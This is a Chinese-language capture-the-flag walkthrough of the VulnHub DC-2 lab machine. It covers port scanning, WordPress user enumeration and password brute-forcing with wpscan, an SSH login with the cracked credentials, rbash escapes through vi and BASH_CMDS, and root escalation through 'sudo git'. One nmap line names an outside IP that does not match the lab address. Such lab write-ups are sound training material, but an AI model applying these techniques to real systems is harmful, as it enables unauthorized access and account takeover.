DC-2
写写自己打DC-2的过程
使用工具 kali
DC-2的靶机下载地址为:https://www.vulnhub.com/entry/dc-2,311/
环境配置。
我这里的话kali和DC-2都是nat模式
kali IP为:192.168.28.139
DC-2 IP设置为nat模式,具体多少暂时也不知道。
信息收集
查找 DC-2 IP
arp-scan -l
得到DC-2 IP为:192.168.28.179
扫描开启的端口
nmap -A -p1-65535 198.13.51.49
可以看到DC-2开启了80端口和 改了ssh默认端口 改成了7744端口
FLAG1
尝试访问一下DC-2:192.168.28.179
本地访问不了会自动跳到DC-2。应该是给重定向了!
我们本地dns绑定下
可以访问本地hosts
C:\Windows\System32\drivers\etc
修改hosts文件
修改不了的话,右键属性 取消只读 保存就可以了
添加这样子的一条
重新访问就进去了
仔细观察看到右下角有一个FLAG1
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6k8xzE9s-1638234399818)(C:\Users\31003\AppData\Roaming\Typora\typora-user-images\image-20211129210657198.png)]
FLAG2
提示:“Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.”
意思应该就是用cewl
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
遇事不决先扒下字典看看有啥。
cewl http://dc-2 -w passwd.txt
ps:本来用 cewl http://192.168.28.179 -w passwd.txt 的但是没有任何输出,想想应该是ip给重定向了,用域名就可以了。
可以大概查看下字典
有了密码字典 还需要找账号和登录框。
挖挖目录看看
用dirb来挖目录
dirb http://dc-2
想要登录框,admin.php非常有可能。我们去访问
http://dc-2/wp-admin/admin.php
网站我们拿到了 还需要账号
这一看就是Wordpress。
Wordpress有一个著名的扫描工具wpscan
缺用户名那么我们就
wpscan --url http://dc-2/ -e u //枚举用户名字
保存枚举出来的3个账号
admin
jerry
tom
完成后。使用wpscan爆破账号密码
wpscan --url http://dc-2/ -U user.txt -P passwd.txt
可以看到出来了两组密码
jerry / adipiscing
tom / parturient
登录登录!!
登录成功!
ps:上面url有时候不会跳到http://dc-2/wp-admin/ 导致登录后空白,可以登录后输入url 就可以进去了。
仔细找找多点点FLAG就出来了
FLAG3
提示:“If you can’t exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.”
和我们说WordPress找不到其他东西了
然后就想起来了前面还有个ssh改端口的改成了7744
然后也了个WordPress的账号密码,可以尝试登录下
ssh jerry@192.168.28.179 -p 7744
jerry试了3次都不行怀疑人生。
然后就用tom测试 发现可以登录
ssh tom@192.168.28.179 -p 7744
成功登录
ls //查看当前文件
发现flag3.txt
cat flag3.txt
发现命令没办法用
被“rbash”限制了
查看可以使用的指令
compgen -c //查看可以使用的指令
仔细查看发现了
下面有一个vi
vi falg3.txt
发现flag3
FLAG4
提示:“Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.”
提到了tom和jerry和su
应该是让我们提权,然后去看看jerry和su
vi可以用 有一个vi的提权
vi随便打开文件
再下面添加
:set shell=/bin/sh
:shell
部分提权成功
cd .. //返回上级目录
ls
发现了jerry
cd jerry //进入jerry
ls //查看当前文件
发现了flag4
直接vi查看
vi flag4.txt
获得flag4
FLAG5
提示:”Good to see that you’ve made it this far - but you’re not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you’re on your own now. :-)Go on - git outta here!!!“
感觉没用
前面FLAG3有提示su。我们去看看root目录
想直接切去root目录
切不了
想登录jerry 也发现没办法用su命令
找到了个rbash环境变量的提权方法
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量
提权成功
发现还是进不去root目录
find / -perm -u=s -type f 2>/dev/null
看到有个sudo。我们看看啥有sudo权限的
sudo -l
git是root权限
我们使用git提权
(我们需要将shell的窗口变窄,使得回显信息不能一页显示)
1、sudo git help config #在末行命令模式输入
!/bin/bash 或 !'sh' #完成提权
2、sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell
提权成功 获得root权限,切换到root目录下
查看flag5(final-flag.txt)
总结
1.重定向
2.cewl使用
3.wpscan使用
4.rbash提权
5.git提权